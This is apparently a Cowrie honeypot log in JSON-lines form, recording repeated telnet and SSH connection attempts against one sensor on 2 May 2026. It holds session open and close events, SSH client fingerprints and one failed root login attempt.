{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b39810ed8c8","protocol":"telnet","message":"New connection: 88.202.190.14:53110 (159.203.135.109:23) [session: 3b39810ed8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:59.286493Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":53662,"dst_ip":"159.203.135.109","dst_port":23,"session":"46fb4faf6f0e","protocol":"telnet","message":"New connection: 88.202.190.14:53662 (159.203.135.109:23) [session: 46fb4faf6f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:59.785762Z"}
{"eventid":"cowrie.session.closed","duration":31.21133279800415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:59.812710Z","src_ip":"88.202.190.14","session":"386677f57b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54330,"dst_ip":"159.203.135.109","dst_port":23,"session":"270a18464fdf","protocol":"telnet","message":"New connection: 88.202.190.14:54330 (159.203.135.109:23) [session: 270a18464fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:00.564895Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54366,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b60dc912b0c","protocol":"telnet","message":"New connection: 88.202.190.14:54366 (159.203.135.109:23) [session: 6b60dc912b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:01.611917Z"}
{"eventid":"cowrie.session.closed","duration":31.3613440990448,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:01.999205Z","src_ip":"88.202.190.14","session":"d240164c5806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b171b65ec1e","protocol":"telnet","message":"New connection: 88.202.190.14:55782 (159.203.135.109:23) [session: 6b171b65ec1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:02.076463Z"}
{"eventid":"cowrie.session.closed","duration":33.52723741531372,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:02.759695Z","src_ip":"88.202.190.14","session":"3e295caad634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55514,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6f3a080cc9","protocol":"telnet","message":"New connection: 88.202.190.14:55514 (159.203.135.109:23) [session: 4a6f3a080cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:02.777538Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56624,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6e6777abdc","protocol":"telnet","message":"New connection: 88.202.190.14:56624 (159.203.135.109:23) [session: ce6e6777abdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:02.840795Z"}
{"eventid":"cowrie.session.closed","duration":34.691202878952026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:03.512932Z","src_ip":"88.202.190.14","session":"7d143bafd9c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168055057525635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:03.581689Z","src_ip":"88.202.190.14","session":"f6be61137507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57310,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b3d4e089bb7","protocol":"telnet","message":"New connection: 88.202.190.14:57310 (159.203.135.109:23) [session: 0b3d4e089bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:03.661931Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54552,"dst_ip":"159.203.135.109","dst_port":23,"session":"0801e9ccc4ed","protocol":"telnet","message":"New connection: 88.202.190.14:54552 (159.203.135.109:23) [session: 0801e9ccc4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:03.822671Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56686,"dst_ip":"159.203.135.109","dst_port":23,"session":"fde63fe09377","protocol":"telnet","message":"New connection: 88.202.190.14:56686 (159.203.135.109:23) [session: fde63fe09377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:03.903211Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57900,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecec59cab2e2","protocol":"telnet","message":"New connection: 88.202.190.14:57900 (159.203.135.109:23) [session: ecec59cab2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:04.401060Z"}
{"eventid":"cowrie.session.closed","duration":46.653616189956665,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:05.061592Z","src_ip":"88.202.190.14","session":"fee530a0f71a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084296226501465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:05.193185Z","src_ip":"88.202.190.14","session":"f4cc38a0137f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":58662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4cb42821f02","protocol":"telnet","message":"New connection: 88.202.190.14:58662 (159.203.135.109:23) [session: e4cb42821f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:06.426693Z"}
{"eventid":"cowrie.session.closed","duration":31.391488790512085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:07.022530Z","src_ip":"88.202.190.14","session":"4c1288478624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90412473678589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:07.338700Z","src_ip":"88.202.190.14","session":"5744f71ef46f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":59722,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e167aefea11","protocol":"telnet","message":"New connection: 88.202.190.14:59722 (159.203.135.109:23) [session: 8e167aefea11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:07.597455Z"}
{"eventid":"cowrie.session.closed","duration":31.572696924209595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:07.886492Z","src_ip":"88.202.190.14","session":"2aa4169e59c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.586723804473877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:07.995488Z","src_ip":"88.202.190.14","session":"f165fa4ef191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369090795516968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:08.238305Z","src_ip":"88.202.190.14","session":"ea8a8ac4322a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33630,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a218e1bf6d","protocol":"telnet","message":"New connection: 88.202.190.14:33630 (159.203.135.109:23) [session: b4a218e1bf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:08.975007Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33518,"dst_ip":"159.203.135.109","dst_port":23,"session":"e799ade4ed81","protocol":"telnet","message":"New connection: 88.202.190.14:33518 (159.203.135.109:23) [session: e799ade4ed81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:09.853908Z"}
{"eventid":"cowrie.session.closed","duration":33.333247900009155,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:09.956702Z","src_ip":"88.202.190.14","session":"81f714dbee72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.004505634307861,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:09.983850Z","src_ip":"41.233.119.229","session":"e5261890aa1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27060,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a15b19c65a","protocol":"ssh","message":"New connection: 194.59.206.2:27060 (159.203.135.109:22) [session: 30a15b19c65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.240870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.245388Z","src_ip":"194.59.206.2","session":"30a15b19c65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.335819Z","src_ip":"194.59.206.2","session":"30a15b19c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98709273338318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.353821Z","src_ip":"88.202.190.14","session":"c28c7abffc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.432202Z","src_ip":"194.59.206.2","session":"30a15b19c65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":36060,"dst_ip":"159.203.135.109","dst_port":23,"session":"9db0f6b497b1","protocol":"telnet","message":"New connection: 88.202.190.14:36060 (159.203.135.109:23) [session: 9db0f6b497b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:11.859942Z"}
{"eventid":"cowrie.session.closed","duration":30.3881938457489,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:12.338094Z","src_ip":"88.202.190.14","session":"34b86ce110bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":37194,"dst_ip":"159.203.135.109","dst_port":23,"session":"16c520a26c13","protocol":"telnet","message":"New connection: 88.202.190.14:37194 (159.203.135.109:23) [session: 16c520a26c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:13.271369Z"}
{"eventid":"cowrie.session.closed","duration":36.68359899520874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:13.415340Z","src_ip":"88.202.190.14","session":"ace15e819790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960225105285645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:14.489357Z","src_ip":"88.202.190.14","session":"e8a011152e98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276915788650513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:15.232864Z","src_ip":"88.202.190.14","session":"d68bd17e1529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40184,"dst_ip":"159.203.135.109","dst_port":23,"session":"3587221ef8f5","protocol":"telnet","message":"New connection: 88.202.190.14:40184 (159.203.135.109:23) [session: 3587221ef8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:16.617451Z"}
{"eventid":"cowrie.session.closed","duration":30.760804891586304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:17.104353Z","src_ip":"88.202.190.14","session":"2641fd01db71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699143171310425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:18.057247Z","src_ip":"88.202.190.14","session":"2a99d63277da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":42380,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ef9af6ec23","protocol":"telnet","message":"New connection: 88.202.190.14:42380 (159.203.135.109:23) [session: 97ef9af6ec23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:19.605057Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45408,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc48f3f30e81","protocol":"telnet","message":"New connection: 88.202.190.14:45408 (159.203.135.109:23) [session: fc48f3f30e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:21.406597Z"}
{"eventid":"cowrie.session.closed","duration":0.0059740543365478516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:21.412412Z","src_ip":"88.202.190.14","session":"fc48f3f30e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10523533821106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:21.418526Z","src_ip":"88.202.190.14","session":"1f042ef0e26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":36342,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e37fe778ef","protocol":"ssh","message":"New connection: 216.155.93.75:36342 (10.17.0.5:22) [session: 55e37fe778ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:22.039570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:22.044633Z","src_ip":"216.155.93.75","session":"55e37fe778ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:22.194385Z","src_ip":"216.155.93.75","session":"55e37fe778ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76171851158142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:22.529882Z","src_ip":"88.202.190.14","session":"3b75407cf3b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerasdf1234","message":"login attempt [root/Qwerasdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:22.820788Z","src_ip":"216.155.93.75","session":"55e37fe778ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:23.973336Z","src_ip":"216.155.93.75","session":"55e37fe778ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.161261320114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:24.246310Z","src_ip":"88.202.190.14","session":"0c61da976047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46792,"dst_ip":"159.203.135.109","dst_port":23,"session":"1861c9e1ac85","protocol":"telnet","message":"New connection: 88.202.190.14:46792 (159.203.135.109:23) [session: 1861c9e1ac85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:25.461305Z"}
{"eventid":"cowrie.session.closed","duration":31.160326719284058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:25.889796Z","src_ip":"88.202.190.14","session":"3f70e4cb9762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48517680168152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:26.585903Z","src_ip":"88.202.190.14","session":"013ad7939c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.5697340965271,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:27.683455Z","src_ip":"88.202.190.14","session":"0cb178125533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47918,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee47bfe965f","protocol":"telnet","message":"New connection: 88.202.190.14:47918 (159.203.135.109:23) [session: dee47bfe965f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:28.113116Z"}
{"eventid":"cowrie.session.closed","duration":31.24132251739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:28.251507Z","src_ip":"88.202.190.14","session":"2a5d3b8714b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414549112319946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:28.307381Z","src_ip":"88.202.190.14","session":"7e78a10f7ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850369453430176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:28.368132Z","src_ip":"88.202.190.14","session":"589545ac1ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":48262,"dst_ip":"159.203.135.109","dst_port":23,"session":"8488b038c83c","protocol":"telnet","message":"New connection: 88.202.190.14:48262 (159.203.135.109:23) [session: 8488b038c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:28.606711Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":44418,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4bbde37773e","protocol":"ssh","message":"New connection: 43.243.142.42:44418 (159.203.135.109:22) [session: e4bbde37773e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:29.107877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:29.113322Z","src_ip":"43.243.142.42","session":"e4bbde37773e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.61463236808777,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:29.311049Z","src_ip":"88.202.190.14","session":"e3b8d311dcb0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:29.348747Z","src_ip":"43.243.142.42","session":"e4bbde37773e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.5002760887146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:22:29.706196Z","src_ip":"88.202.190.14","session":"3a12af52c7a0","protocol":"telnet"}
